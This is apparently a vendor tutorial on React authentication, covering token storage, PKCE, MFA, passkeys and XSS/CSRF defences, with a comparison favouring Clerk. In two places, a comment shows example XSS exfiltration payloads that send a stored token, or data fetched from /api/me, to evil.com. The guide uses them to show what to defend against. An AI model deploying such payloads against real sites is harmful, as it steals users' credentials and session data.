
React Authentication: From Protected Routes to Passkeys
88% of web application breaches involve stolen credentials (Verizon DBIR, 2025; Descope, 2025). The average breach costs $4.44M (IBM, 2025).
Authentication in React spans token storage, session management, OAuth, multi-factor authentication, passkeys, and XSS/CSRF prevention. Most tutorials cover the login form and stop. This guide covers the full stack: from protected routes to passkeys, with working TypeScript code and security analysis.
We'll compare building it yourself against Auth0, Firebase Auth, Supabase Auth, and Clerk.
Setting up a React project for secure authentication
This tutorial uses Vite + React + TypeScript, the standard 2026 React stack. We'll walk through two parallel approaches:
- DIY: React + React Router + custom AuthContext
- Clerk: React +
@clerk/react
A quick note on Clerk packages: @clerk/react is the base React SDK for any React app. If you're using React Router as a framework (with react-router.config.ts), there's also @clerk/react-router with framework-specific integrations like loaders and route-level auth. For a Vite app using React Router as a library (the approach here), @clerk/react is all you need.
Here's the Clerk setup. The entire auth layer wraps your app root:
import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import { ClerkProvider } from '@clerk/react'
import App from './App.tsx'
createRoot(document.getElementById('root')!).render(
<StrictMode>
<ClerkProvider afterSignOutUrl="/">
<App />
</ClerkProvider>
</StrictMode>,
)ClerkProvider reads VITE_CLERK_PUBLISHABLE_KEY from your environment automatically. Never hardcode API keys; use environment variables with the VITE_ prefix for Vite projects.
The app shell uses the <Show> component to conditionally render based on auth state:
import { Show, SignInButton, SignUpButton, UserButton } from '@clerk/react'
export default function App() {
return (
<div>
<header>
<Show when="signed-out">
<SignInButton />
<SignUpButton />
</Show>
<Show when="signed-in">
<UserButton />
</Show>
</header>
<main>{/* Your app content */}</main>
</div>
)
}That's a working auth UI in about 20 lines. The DIY version of this requires building every piece yourself, which is what the next several sections cover.
Implementing protected routes in React
Client-side route protection improves the user experience by hiding UI that requires authentication. Your server is the actual security boundary and must validate auth independently on every request.
That said, route guards are critical for a good user experience. Without them, unauthenticated users see a flash of protected content before being redirected.
Here's a ProtectedRoute component using React Router:
import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '../providers/AuthProvider'
export function ProtectedRoute() {
const { user, isLoading } = useAuth()
const location = useLocation()
if (isLoading) {
return <div>Loading...</div>
}
if (!user) {
return <Navigate to="/sign-in" state={{ from: location }} replace />
}
return <Outlet />
}The isLoading guard is critical. Without it, the component redirects to sign-in on every page load before the auth state has resolved. The state={{ from: location }} preserves the original destination so you can redirect back after sign-in.
Wire it into your router as a layout route:
import { createBrowserRouter } from 'react-router-dom'
import { ProtectedRoute } from './components/ProtectedRoute'
import { Home } from './pages/Home'
import { SignIn } from './pages/SignIn'
import { Dashboard } from './pages/Dashboard'
import { Settings } from './pages/Settings'
export const router = createBrowserRouter([
{ path: '/', element: <Home /> },
{ path: '/sign-in', element: <SignIn /> },
{
element: <ProtectedRoute />,
children: [
{ path: '/dashboard', element: <Dashboard /> },
{ path: '/settings', element: <Settings /> },
],
},
])With Clerk, the same pattern is simpler because auth state management is handled internally:
import { Navigate, Outlet, useLocation } from 'react-router-dom'
import { useAuth } from '@clerk/react'
export function ProtectedRoute() {
const { isLoaded, isSignedIn } = useAuth()
const location = useLocation()
if (!isLoaded) {
return <div>Loading...</div>
}
if (!isSignedIn) {
return <Navigate to="/sign-in" state={{ from: location }} replace />
}
return <Outlet />
}The shape is similar, but you don't need to build the auth context, manage tokens, or handle refresh logic. That's all internal to useAuth().
Managing auth state with Context API and hooks
DIY auth state management in React has a common pitfall: a single context that holds both state and actions causes unnecessary re-renders across your entire app. The fix is to split them.
import {
createContext,
useCallback,
useContext,
useEffect,
useMemo,
useReducer,
useRef,
} from 'react'
interface User {
id: string
email: string
}
interface AuthState {
user: User | null
isLoading: boolean
}
type AuthAction =
| { type: 'SET_USER'; user: User }
| { type: 'CLEAR_USER' }
| { type: 'SET_LOADING'; isLoading: boolean }
const AuthStateContext = createContext<AuthState | null>(null)
const AuthActionsContext = createContext<{
login: (email: string, password: string) => Promise<void>
logout: () => Promise<void>
} | null>(null)
function authReducer(state: AuthState, action: AuthAction): AuthState {
switch (action.type) {
case 'SET_USER':
return { user: action.user, isLoading: false }
case 'CLEAR_USER':
return { user: null, isLoading: false }
case 'SET_LOADING':
return { ...state, isLoading: action.isLoading }
}
}
export function AuthProvider({ children }: { children: React.ReactNode }) {
const [state, dispatch] = useReducer(authReducer, {
user: null,
isLoading: true,
})
const accessTokenRef = useRef<string | null>(null)
useEffect(() => {
// Silent refresh on mount: exchange refresh token (httpOnly cookie)
// for a new access token
fetch('/api/auth/refresh', { credentials: 'include' })
.then((res) => (res.ok ? res.json() : Promise.reject()))
.then(({ user, accessToken }) => {
accessTokenRef.current = accessToken
dispatch({ type: 'SET_USER', user })
})
.catch(() => dispatch({ type: 'CLEAR_USER' }))
}, [])
const login = useCallback(async (email: string, password: string) => {
const res = await fetch('/api/auth/login', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
})
const { user, accessToken } = await res.json()
accessTokenRef.current = accessToken
dispatch({ type: 'SET_USER', user })
}, [])
const logout = useCallback(async () => {
await fetch('/api/auth/logout', {
method: 'POST',
credentials: 'include',
})
accessTokenRef.current = null
dispatch({ type: 'CLEAR_USER' })
}, [])
const actions = useMemo(() => ({ login, logout }), [login, logout])
return (
<AuthStateContext.Provider value={state}>
<AuthActionsContext.Provider value={actions}>{children}</AuthActionsContext.Provider>
</AuthStateContext.Provider>
)
}
export function useAuth() {
const state = useContext(AuthStateContext)
const actions = useContext(AuthActionsContext)
if (!state || !actions) throw new Error('useAuth must be used within AuthProvider')
return { ...state, ...actions }
}Two contexts, a reducer, memoized callbacks, an in-memory token ref, silent refresh on mount. That's roughly 80 lines before you've handled token refresh failures, race conditions, or multi-tab session sync.
With Clerk, the same surface area collapses to this:
import { useAuth, useUser } from '@clerk/react'
export function Dashboard() {
const { isLoaded, userId, getToken } = useAuth()
const { user } = useUser()
if (!isLoaded) return <div>Loading...</div>
return (
<div>
<h1>Welcome, {user?.firstName}</h1>
<p>User ID: {userId}</p>
</div>
)
}useAuth() handles session state, token refresh, and multi-tab sync. useUser() provides user profile data. No context providers, no reducers, no refs.
As of March 2026, Clerk's React SDK (@clerk/react) has roughly 1.1M weekly npm downloads. That makes it the most downloaded React-specific auth SDK — ahead of @auth0/auth0-react (~825K/week) — meaning a dedicated React SDK rather than a meta-framework SDK like next-auth.
Token storage and JWT handling: the secure way
Most React auth tutorials store JWTs in localStorage. This is the single most common auth security mistake in React apps, and it's dangerous.
The gold standard: store access tokens in memory and refresh tokens in httpOnly cookies. Here's why.
// ❌ VULNERABLE: Any XSS payload can steal this token
export function saveToken(token: string) {
localStorage.setItem('authToken', token)
}
export function getToken(): string | null {
return localStorage.getItem('authToken')
}
// An attacker's XSS payload:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('authToken'))Any script running on your page (including injected third-party scripts, compromised dependencies, or XSS payloads) can read localStorage. Game over.
The secure alternative keeps tokens in a module-scoped variable that JavaScript from other contexts can't access:
// ✅ SECURE: Module-scoped variable, inaccessible to XSS injected scripts
let accessToken: string | null = null
export function setAccessToken(token: string | null) {
accessToken = token
}
export function getAccessToken(): string | null {
return accessToken
}The tradeoff: in-memory tokens don't survive page refresh. You need a silent refresh mechanism using httpOnly cookies to restore them. Here's a complete API client with automatic token refresh and request queuing:
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios'
import { getAccessToken, setAccessToken } from './token-manager'
const api = axios.create({ baseURL: '/api' })
let isRefreshing = false
let failedQueue: Array<{
resolve: (token: string) => void
reject: (error: unknown) => void
}> = []
function processQueue(error: unknown, token: string | null) {
failedQueue.forEach(({ resolve, reject }) => {
if (error) {
reject(error)
} else {
resolve(token!)
}
})
failedQueue = []
}
api.interceptors.request.use((config: InternalAxiosRequestConfig) => {
const token = getAccessToken()
if (token) {
config.headers.Authorization = `Bearer ${token}`
}
return config
})
api.interceptors.response.use(
(response) => response,
async (error: AxiosError) => {
const originalRequest = error.config as InternalAxiosRequestConfig & {
_retry?: boolean
}
if (error.response?.status !== 401 || originalRequest._retry) {
return Promise.reject(error)
}
if (isRefreshing) {
return new Promise((resolve, reject) => {
failedQueue.push({
resolve: (token) => {
originalRequest.headers.Authorization = `Bearer ${token}`
resolve(api(originalRequest))
},
reject,
})
})
}
originalRequest._retry = true
isRefreshing = true
try {
const { data } = await axios.post('/api/auth/refresh', {}, { withCredentials: true })
setAccessToken(data.accessToken)
processQueue(null, data.accessToken)
originalRequest.headers.Authorization = `Bearer ${data.accessToken}`
return api(originalRequest)
} catch (refreshError) {
processQueue(refreshError, null)
setAccessToken(null)
window.location.href = '/sign-in'
return Promise.reject(refreshError)
} finally {
isRefreshing = false
}
},
)
export default apiThat's ~70 lines for a production token refresh client. It handles concurrent 401s by queuing requests, prevents duplicate refresh calls, and redirects to sign-in if the refresh token is expired.
Refresh token rotation adds another layer: every refresh returns a new refresh token and invalidates the old one. If an attacker replays a stolen refresh token, the server detects the reuse and invalidates all tokens for that session.
Backend for Frontend (BFF) pattern: For SPAs that need maximum security, the BFF pattern routes all API calls through a thin backend proxy that manages tokens server-side. The SPA never touches tokens directly. Both OWASP and Curity recommend this approach for high-security SPAs. It adds infrastructure complexity but eliminates client-side token exposure entirely.
How Clerk handles this. Clerk uses a hybrid stateful/stateless authentication model. A long-lived client token (httpOnly cookie on the FAPI domain) serves as the source of truth for session state. A short-lived session token (60-second JWT on your app's domain) handles request authentication without database lookups.
Clerk's SDK auto-refreshes the session token every 50 seconds in the background. This gives you the performance of stateless auth (no DB round-trip per request) with the revocability of stateful auth (revoke the client token and the session dies within 60 seconds).
No developer token management needed. See How Clerk Works for the full architecture.
Credential breaches take 246 days to identify and contain (SpyCloud/IBM, 2025). The overall average breach lifecycle is 241 days, the lowest in nine years. Meanwhile, 1.8 billion credentials were stolen by infostealers in 2025 (Flashpoint, 2025; Vectra AI, 2025; Infosecurity Magazine, 2025).
OWASP explicitly recommends against localStorage for tokens (OWASP HTML5 Cheat Sheet).
JWT payloads are base64-encoded, not encrypted. Never put sensitive data in payloads (RFC 8725). Preferred signing algorithms: RS256, ES256, or EdDSA. Never allow none.
Social login and OAuth 2.0 with PKCE
Social login increases signup conversion by 20-40% (Okta/Auth0, 2023). Google dominates at ~62% of businesses offering social login (6sense, 2026; Okta State of Identity, 2024), followed by Apple and Facebook.
The only secure OAuth flow for SPAs is the Authorization Code Flow with PKCE (Proof Key for Code Exchange). The Implicit Flow is deprecated because it exposes tokens in URL fragments, making them vulnerable to browser history leaks and referer header exposure.
Here's the PKCE implementation. You need a cryptographic code verifier and its SHA-256 challenge:
export function generateCodeVerifier(): string {
const array = new Uint8Array(32)
crypto.getRandomValues(array)
return btoa(String.fromCharCode(...array))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '')
}
export async function generateCodeChallenge(verifier: string): Promise<string> {
const encoder = new TextEncoder()
const data = encoder.encode(verifier)
const digest = await crypto.subtle.digest('SHA-256', data)
return btoa(String.fromCharCode(...new Uint8Array(digest)))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '')
}Then build the authorization URL:
import { generateCodeVerifier, generateCodeChallenge } from './pkce'
const OAUTH_ENDPOINTS: Record<'google' | 'github', string> = {
google: 'https://accounts.google.com/o/oauth2/v2/auth',
github: 'https://github.com/login/oauth/authorize',
}
export async function initiateOAuth(provider: 'google' | 'github') {
const codeVerifier = generateCodeVerifier()
const codeChallenge = await generateCodeChallenge(codeVerifier)
const state = crypto.randomUUID()
// Store verifier and state for the callback
sessionStorage.setItem('pkce_verifier', codeVerifier)
sessionStorage.setItem('oauth_state', state)
const params = new URLSearchParams({
client_id: import.meta.env.VITE_OAUTH_CLIENT_ID,
redirect_uri: `${window.location.origin}/oauth/callback`,
response_type: 'code',
scope: 'openid email profile',
code_challenge: codeChallenge,
code_challenge_method: 'S256',
state,
})
window.location.href = `${OAUTH_ENDPOINTS[provider]}?${params}`
}That's ~35 lines just for the crypto and redirect. You still need the callback handler, token exchange, error handling, and account linking logic.
Account linking is a sleeper complexity. When a user signs up with Google and later tries email/password with the same email, your DIY implementation must manually merge accounts. This is error-prone and a common source of security bugs. Clerk handles account linking automatically.
How Clerk handles this. signIn.sso() handles PKCE, token exchange, and account linking internally. Clerk also manages the transfer between sign-in and sign-up flows when a user tries to sign in with an OAuth provider but doesn't have an account yet.
import { useSignIn } from '@clerk/react'
export function SocialLogin() {
const { signIn, errors, fetchStatus } = useSignIn()
const handleGoogleSignIn = async () => {
const { error } = await signIn.sso({
strategy: 'oauth_google',
redirectCallbackUrl: '/sso-callback',
redirectUrl: '/',
})
if (error) {
console.error(JSON.stringify(error, null, 2))
}
// If no error, the browser redirects to Google
}
return (
<div>
<button onClick={handleGoogleSignIn} disabled={fetchStatus === 'fetching'}>
{fetchStatus === 'fetching' ? 'Redirecting...' : 'Continue with Google'}
</button>
{errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}
</div>
)
}The SSO callback page handles the redirect response, including transferable sessions (when a sign-in attempt needs to become a sign-up, or vice versa):
import { useEffect, useRef } from 'react'
import { useClerk, useSignIn, useSignUp } from '@clerk/react'
import { useNavigate } from 'react-router-dom'
export function SSOCallback() {
const clerk = useClerk()
const { signIn } = useSignIn()
const { signUp } = useSignUp()
const navigate = useNavigate()
const hasRun = useRef(false)
const handleNavigate = async ({
session,
decorateUrl,
}: {
session: { currentTask?: { key: string } | null }
decorateUrl: (url: string) => string
}) => {
if (session?.currentTask) {
// Handle required post-auth steps (e.g., setup-mfa)
navigate(`/post-auth/${session.currentTask.key}`)
return
}
const url = decorateUrl('/')
if (url.startsWith('http')) {
window.location.href = url
} else {
navigate(url)
}
}
useEffect(() => {
if (hasRun.current) return
hasRun.current = true
async function handleCallback() {
// Sign-in completed
if (signIn.status === 'complete') {
await signIn.finalize({ navigate: handleNavigate })
return
}
// User tried to sign up with existing account; transfer to sign-in
if (signUp.isTransferable) {
await signIn.create({ transfer: true })
if (signIn.status === 'complete') {
await signIn.finalize({ navigate: handleNavigate })
}
return
}
// User tried to sign in but has no account; transfer to sign-up
if (signIn.isTransferable) {
await signUp.create({ transfer: true })
if (signUp.status === 'complete') {
await signUp.finalize({ navigate: handleNavigate })
}
return
}
// Handle existing session
if (signIn.existingSession || signUp.existingSession) {
const sessionId = signIn.existingSession?.sessionId || signUp.existingSession?.sessionId
await clerk.setActive({
session: sessionId,
navigate: handleNavigate,
})
}
}
handleCallback()
}, [])
return <div>Completing sign-in...</div>
}The callback page handles four scenarios: completed sign-in, transferable sign-up to sign-in, transferable sign-in to sign-up, and existing sessions. With Clerk's prebuilt <SignIn /> component, both pages collapse to zero custom code.
Multi-factor authentication (MFA) in React
MFA blocks 99.9% of automated account compromises (Microsoft, 2019). A peer-reviewed Microsoft Research study refined that to 99.22% (Microsoft Research, 2023). Google found that zero users who exclusively used security keys fell victim to targeted phishing (Google Security Blog, 2019). On-device prompts blocked 100% of bots and 99% of bulk phishing in the same study.
OWASP ranks MFA factors by strength: passkeys > hardware keys > TOTP > push notifications > SMS (OWASP MFA Cheat Sheet). 83% of SMEs (2,500 or fewer employees) now require MFA (JumpCloud/Propeller Insights, 2024).
Here's a TOTP setup flow with Clerk. The useReverification() hook ensures the user re-authenticates before performing this sensitive action:
import { useState } from 'react'
import { useUser, useReverification } from '@clerk/react'
import type { TOTPResource } from '@clerk/shared/types'
import { QRCodeSVG } from 'qrcode.react'
export function SetupTOTP() {
const { user } = useUser()
const [totp, setTotp] = useState<TOTPResource | null>(null)
const [code, setCode] = useState('')
const [verified, setVerified] = useState(false)
const createTOTP = useReverification(() => user?.createTOTP())
const handleSetup = async () => {
const totpResource = await createTOTP()
if (totpResource) {
setTotp(totpResource)
}
}
const handleVerify = async () => {
await user?.verifyTOTP({ code })
setVerified(true)
}
if (verified) {
return <p>MFA enabled.</p>
}
if (totp) {
return (
<div>
<QRCodeSVG value={totp.uri} />
<p>Scan this QR code with your authenticator app, then enter the code below.</p>
<input
type="text"
value={code}
onChange={(e) => setCode(e.target.value)}
placeholder="Enter 6-digit code"
/>
<button onClick={handleVerify}>Verify</button>
</div>
)
}
return <button onClick={handleSetup}>Set up two-factor authentication</button>
}During sign-in, MFA verification looks like this:
import { useState } from 'react'
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'
export function MFAVerification() {
const { signIn, errors, fetchStatus } = useSignIn()
const [code, setCode] = useState('')
const navigate = useNavigate()
const handleVerify = async () => {
await signIn.mfa.verifyTOTP({ code })
if (signIn.status === 'complete') {
await signIn.finalize({
navigate: async ({ session, decorateUrl }) => {
if (session?.currentTask) {
navigate(`/post-auth/${session.currentTask.key}`)
return
}
const url = decorateUrl('/')
url.startsWith('http') ? (window.location.href = url) : navigate(url)
},
})
}
}
return (
<div>
<h2>Enter your verification code</h2>
<input
type="text"
value={code}
onChange={(e) => setCode(e.target.value)}
placeholder="6-digit code"
/>
<button onClick={handleVerify} disabled={fetchStatus === 'fetching'}>
Verify
</button>
{errors.fields.code && <p>{errors.fields.code.message}</p>}
</div>
)
}One important nuance: in FRSecure's incident response caseload of 65 BEC cases, 79% of victims in 2024-2025 had MFA enabled (FRSecure, 2025). Token theft and adversary-in-the-middle (AiTM) attacks bypass traditional MFA methods like SMS and push notifications. This is why phishing-resistant methods like passkeys matter.
Passkeys and WebAuthn: replacing passwords in React
Passkey adoption is accelerating. Over 1 billion people have activated passkeys, and 15 billion accounts now support them (FIDO Alliance, 2025). Success rates hit 93% vs 63% for traditional methods (FIDO Alliance Passkey Index, 2025).
Microsoft reports passkeys are 8x faster than password+MFA (Microsoft, 2025). The FIDO Alliance measures a ~3.7x improvement comparing passkeys to other sign-in methods broadly.
Company-specific numbers: Google has 800 million accounts using passkeys, Amazon has 175 million passkeys created, and Microsoft sees 98% sign-in success with passkeys vs 32% with passwords (FIDO Alliance, 2025). 87% of enterprises are deploying passkeys (FIDO Alliance, 2025; HID Global, 2025; Dark Reading, 2025). CISA recommends FIDO2/WebAuthn as the "gold standard" for phishing-resistant MFA (CISA Fact Sheet).
How WebAuthn works (briefly): The server sends a random challenge. The authenticator (fingerprint sensor, face ID, or hardware key) signs it with a private key that never leaves the device. The server verifies the signature against the stored public key. Domain binding prevents phishing because the credential is tied to the exact origin.
Here's what raw WebAuthn registration looks like. This is intentionally verbose to show the API surface:
// Raw WebAuthn registration (simplified, showing the complexity)
async function registerPasskey(userId: string) {
// 1. Fetch challenge from your server
const options = await fetch('/api/webauthn/register-options', {
method: 'POST',
body: JSON.stringify({ userId }),
}).then((r) => r.json())
// 2. Call the browser's credential API
const credential = await navigator.credentials.create({
publicKey: {
challenge: Uint8Array.from(options.challenge, (c) => c.charCodeAt(0)),
rp: { name: 'Your App', id: window.location.hostname },
user: {
id: Uint8Array.from(userId, (c) => c.charCodeAt(0)),
name: options.userName,
displayName: options.displayName,
},
pubKeyCredParams: [
{ type: 'public-key', alg: -7 }, // ES256
{ type: 'public-key', alg: -257 }, // RS256
],
authenticatorSelection: {
residentKey: 'required',
userVerification: 'preferred',
},
timeout: 60000,
},
})
// 3. Send credential to server for verification and storage
await fetch('/api/webauthn/register-verify', {
method: 'POST',
body: JSON.stringify(credential),
})
}That's the simplified version. A production implementation needs attestation validation, credential storage, error handling for every browser/authenticator combination, and fallback flows.
With Clerk, passkey registration is one method call:
import { useState } from 'react'
import { useUser } from '@clerk/react'
export function CreatePasskey() {
const { user } = useUser()
const [status, setStatus] = useState<'idle' | 'creating' | 'done'>('idle')
const handleCreate = async () => {
setStatus('creating')
try {
await user?.createPasskey()
setStatus('done')
} catch {
setStatus('idle')
}
}
if (status === 'done') return <p>Passkey created.</p>
return (
<button onClick={handleCreate} disabled={status === 'creating'}>
{status === 'creating' ? 'Creating passkey...' : 'Add a passkey'}
</button>
)
}Passkey sign-in with Clerk:
import { useSignIn } from '@clerk/react'
import { useNavigate } from 'react-router-dom'
export function PasskeySignIn() {
const { signIn, errors, fetchStatus } = useSignIn()
const navigate = useNavigate()
const handlePasskeySignIn = async () => {
await signIn.passkey({ flow: 'discoverable' })
if (signIn.status === 'complete') {
await signIn.finalize({
navigate: async ({ session, decorateUrl }) => {
if (session?.currentTask) {
navigate(`/post-auth/${session.currentTask.key}`)
return
}
const url = decorateUrl('/')
url.startsWith('http') ? (window.location.href = url) : navigate(url)
},
})
}
}
return (
<div>
<button onClick={handlePasskeySignIn} disabled={fetchStatus === 'fetching'}>
Sign in with passkey
</button>
{errors.global?.[0] && <p>{errors.global[0].message}</p>}
</div>
)
}Browser support: Chrome 67+, Safari 16+, Firefox 119+, Edge 79+. Cross-platform on Windows, macOS, iOS, and Android.
Clerk Core 3 developer experience improvements
Core 3 (March 2026) redesigned how custom auth flows work in React. A few things that matter for the code in this article:
Stateful hooks and fetchStatus. useSignIn() and useSignUp() return stateful objects that trigger re-renders automatically. The hooks expose fetchStatus ('idle' | 'fetching') so you can show loading indicators without managing a separate boolean.
Structured field-level errors. errors.fields.identifier, errors.fields.password, errors.fields.code provide typed, field-specific error messages. Integrates cleanly with any form library.
Step methods map directly to the auth flow: signIn.password(), signIn.emailCode.sendCode(), signIn.mfa.verifyTOTP(), signIn.passkey(). Readable, discoverable, hard to misuse.
finalize() replaces setActive(). After a successful sign-in or sign-up, call signIn.finalize() with a navigate callback. The callback receives session (for checking currentTask) and decorateUrl (for URL decoration). This is the standard for completing auth flows in Core 3.
useReverification() handles sensitive actions (TOTP setup, password changes, account deletion) by requiring the user to re-authenticate before proceeding.
Session tasks via session.currentTask handle required post-auth steps (e.g., setup-mfa when MFA is mandatory). The finalize() callback must check for and handle these tasks.
Here's the error handling pattern in practice:
import { useState } from 'react'
import { useSignIn } from '@clerk/react'
export function SignInForm() {
const { signIn, errors, fetchStatus } = useSignIn()
const [email, setEmail] = useState('')
const [password, setPassword] = useState('')
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault()
await signIn.password({ emailAddress: email, password })
// signIn.status updates automatically, triggering re-render
}
return (
<form onSubmit={handleSubmit}>
<input value={email} onChange={(e) => setEmail(e.target.value)} />
{errors.fields.identifier && <p>{errors.fields.identifier.message}</p>}
<input type="password" value={password} onChange={(e) => setPassword(e.target.value)} />
{errors.fields.password && <p>{errors.fields.password.message}</p>}
<button disabled={fetchStatus === 'fetching'}>
{fetchStatus === 'fetching' ? 'Signing in...' : 'Sign in'}
</button>
</form>
)
}See the Core 3 Changelog for the full list of changes.
Preventing XSS and CSRF in React authentication
The OWASP Top 10:2025 renamed A07 to "Authentication Failures" with 36 mapped CWEs (OWASP, 2025). 26 billion credential stuffing attempts happen every month globally (IDDataWeb/Akamai).
XSS in auth context
React auto-escapes JSX output, which prevents most XSS. But dangerouslySetInnerHTML, URL props (href, src), and third-party scripts remain vectors. In an auth context, XSS can steal in-memory tokens during their lifespan, exfiltrate session data via API calls, or hijack active sessions.
// ❌ VULNERABLE: User-controlled HTML rendered directly
export function InsecureProfile({ bio }: { bio: string }) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />
// An attacker sets their bio to:
// <img src=x onerror="fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com/steal',{method:'POST',body:JSON.stringify(d)}))">
}The fix: use React's default escaping, or sanitize with DOMPurify if you absolutely need innerHTML:
// ✅ SECURE: React escapes content by default
export function SecureProfile({ bio }: { bio: string }) {
return <div>{bio}</div>
// React escapes <, >, &, ", ' so no script execution is possible
}If you absolutely need to render user-provided HTML (e.g., output from a rich text editor), sanitize it with DOMPurify:
import DOMPurify from 'dompurify'
export function SafeRichText({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
}CSRF in auth context
CSRF is only a concern with cookie-based auth. If you're using Authorization: Bearer headers, browsers never auto-attach them cross-origin, so CSRF isn't a factor.
For cookie-based auth, the defense is layered: SameSite=Lax or SameSite=Strict cookies, plus CSRF tokens for state-changing operations. SameSite=Lax blocks cross-origin POST requests while allowing top-level navigations (GET), which covers most attack scenarios.
Security checklist
- httpOnly + Secure + SameSite cookies for refresh tokens
- In-memory access tokens, never localStorage
- PKCE for all OAuth flows
- Short token lifetimes (15-60 min access, rotate refresh tokens)
- Content Security Policy headers with nonces (never
unsafe-inline) - Rate limiting on login endpoints
Authentication in Next.js 16: Server Components and proxy.ts
Next.js 16 replaced middleware.ts with proxy.ts (Next.js Blog). The proxy runs on the Node.js runtime (not Edge), which means it can access databases, TCP sockets, and Node APIs directly.
All rendering is dynamic by default in Next.js 16. You opt into caching with cacheComponents: true in your config and "use cache" directives. No more guessing what's static vs dynamic.
Here's Clerk's proxy.ts setup for protected routes:
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'
const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/settings(.*)', '/api(.*)'])
export default clerkMiddleware(async (auth, req) => {
if (isProtectedRoute(req)) {
await auth.protect()
}
})Server Component auth happens before any HTML reaches the client. No loading spinners, no flash of unauthorized content:
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'
export default async function DashboardPage() {
const { userId, orgId } = await auth()
if (!userId) {
redirect('/sign-in')
}
return (
<div>
<h1>Dashboard</h1>
<p>User: {userId}</p>
{orgId && <p>Organization: {orgId}</p>}
</div>
)
}Server Actions verify auth before mutations. They serve as the actual security boundary:
'use server'
import { auth } from '@clerk/nextjs/server'
export async function updateProfile(formData: FormData) {
const { userId } = await auth()
if (!userId) {
throw new Error('Unauthorized')
}
const name = formData.get('name') as string
// Perform the update with verified userId
await db.users.update({ where: { id: userId }, data: { name } })
}The layered auth pattern: proxy.ts for optimistic route protection (fast, lightweight), Server Components for per-page auth, Server Actions for per-mutation auth. Each layer adds security without depending on the others.
Choosing an authentication platform for React
The React auth ecosystem has matured. The right choice depends on your stack, team size, and requirements.
A note on free tier metrics. Clerk counts Monthly Retained Users (MRU): a user is "retained" when they return 24+ hours after signup. Other platforms count Monthly Active Users (MAU). The distinction matters for cost modeling.
Clerk. Purpose-built for React. Core 3 brings concurrent rendering support, ~50KB bundle savings, and redesigned hooks. 50K free MRU on the Hobby tier. MFA, custom session lifetimes, and branding removal require Pro ($25/mo, or $20/mo on annual billing). SOC 2 Type II certified, HIPAA and CCPA compliant. See the React Quickstart to get started.
Auth0. Most extensible via Actions. Full proxy.ts support since SDK v4.13.0. Steeper learning curve, and pricing escalates at scale.
Firebase Auth. Generous 50K free MAU, tight Google ecosystem integration. Limited enterprise features without upgrading to Identity Platform. Passkey/WebAuthn PRs have been merged in the JS and iOS SDKs but there's no official documentation or GA announcement as of March 2026.
Supabase Auth. Open source, self-hostable, PostgreSQL-native RLS. Organization management requires manual implementation. Passkey/WebAuthn support is planned but not yet available natively as of March 2026.
Custom/DIY. Full control, no per-MAU costs. Significant dev time (5-6 weeks basic, 12+ months production-grade) and ongoing security burden.
Conclusion
Authentication in React touches token security, session management, OAuth, MFA, passkeys, and XSS/CSRF prevention. Getting any piece wrong creates real vulnerability.
The managed platform ecosystem has matured. For React and Next.js teams, Clerk's component-first architecture and Core 3 SDK provide the shortest path from zero to production-grade auth.
The choice between DIY and managed depends on your team, timeline, and requirements. But the security math is clear: credential-based breaches cost $4.67M on average, higher than the $4.44M global average for all breach types (SpyCloud/IBM, 2025), and take 246 days to detect. Managed platforms eliminate entire categories of risk.